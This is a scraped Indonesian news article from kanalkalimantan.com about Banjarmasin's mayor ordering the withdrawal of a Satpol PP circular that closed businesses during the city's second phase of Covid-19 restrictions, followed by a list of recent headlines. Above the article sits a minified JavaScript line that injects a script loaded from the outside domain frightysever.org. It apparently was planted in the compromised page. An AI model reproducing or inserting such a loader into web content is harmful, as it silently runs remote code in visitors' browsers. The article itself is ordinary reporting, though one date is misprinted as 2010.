(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kadung Beredar, Ibnu Minta Surat Edaran Satpol PP Banjarmasin Ditarik


KANALKALIMANTAN.COM, BANJARMASIN – Adanya surat edaran dari Satpol PP Kota Banjarmasin tentang penutupan sementara beberapa kegiatan usaha  pada saat penerapan Pembatasan Sosial Berakala Besar (PSBB) di kota Banjarmasin akhirnya berbuntut panjang.

Wali Kota Banjarmasin H Ibnu Sina mengatakan, pihaknya sudah menginstruksikan kepada instansi terkait untuk menarik surat edaran yang bernomor 331.1/570/SatpolPP-02/V/2020 itu.

“Saya sudah perintahkan untuk menarik surat edaran itu,” ucapnya melalui video di Instagram pribadinya, Sabtu (9/5/2010) siang.

Dalam surat tersebut tertulis beberapa tempat usaha yang tidak diperbolehkan buka atau beroperasi. Antara lain restoran, kafe, rumah makan, dealer, bengkel atau toko onderdil kendaraan bermotor hingga toko elektonik seperti ponsel.

“Kami minta agar menutup sementara usahanya selama pelaksanaan PSBB Banjarmasin, ini mengacu pada Perwali Nomor 33 Tahun 2020 tentang Pedoman Pelaksanaan PSBB dalam rangka percepatan penanganan,” ucap Ichwan.

Pihaknya siap mengerahkan petugas Satpol PP untuk menutup paksa tempat usaha yang tak mengindahkan surat edaran tersebut.

Menurut Ibnu, hal yang tertuang dalam surat edaran memang belum saatnya untuk dikeluarkan. Karena, saat ini pihaknya masih dalam masa pembahasan revisi beberapa Peraturan Wali Kota (Perwali) yang akan diterapkan dalam pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) tahap II ini.

“Karena saat ini kita masih melakukan rapat teknis terkait Perwali untuk diterapkan dalam perpanjangan PSBB kali ini,” ungkapnya.

Ia menuturkan, dalam waktu dekat Perwali tersebut akan seger disahkan untuk diterapkan dalam PSBB tahap II tersebut. Paling tidak, Ibnu memastikan, Perwali itu bisa diselesaikan pada hari ini.

Baca juga: Mujahid Terpaksa Cari Usaha Lain, Satpol PP Ancam Tutup Paksa Sejumlah Tempat Usaha pada PSBB Jilid II

Menurutnya, jika Perwali tersebut sudah disahkan, akan ada informasi lebih lanjut terkait peraturan apa saja yang tertera didalamnya dan harus ditaati oleh masyarakat. “Nanti akan ada informasi lebih lanjut terkait perpanjangan penerapan PSBB di Kota Banjarmasin ini,” pungkasnya.

Sebelumnya, Plt Kepala Satpol PP Ichwan Noor Chalik menyampaikan kehadiran surat itu untuk menindaklanjuti Perwali Kota Banjarmasin Nomor 33 Tahun 2020 tentang pedoman pelaksanaan PSBB tahap II dalam rangka percepatan penanganan Covid-19. Jajarannya meminta agar para pelaku usaha untuk menutup sementara usahanya selama pelaksanaan PSBB Banjarmasin.

Selain itu, ia juga mangatakan akan mengerahkan petugas Satpol PP untuk menutup paksa tempat usaha yang tidak mengindahkan surat edaran tersebut. “Insya Allah dalam waktu dekat kita akan giat untuk memantau tempat usaha yang patuh atau tidak,” tandas Ichwan. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

14 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

18 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

22 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.